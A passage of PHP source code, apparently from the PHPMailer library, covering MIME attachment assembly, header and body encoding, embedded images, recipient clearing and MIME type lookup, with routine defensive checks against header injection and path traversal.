                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
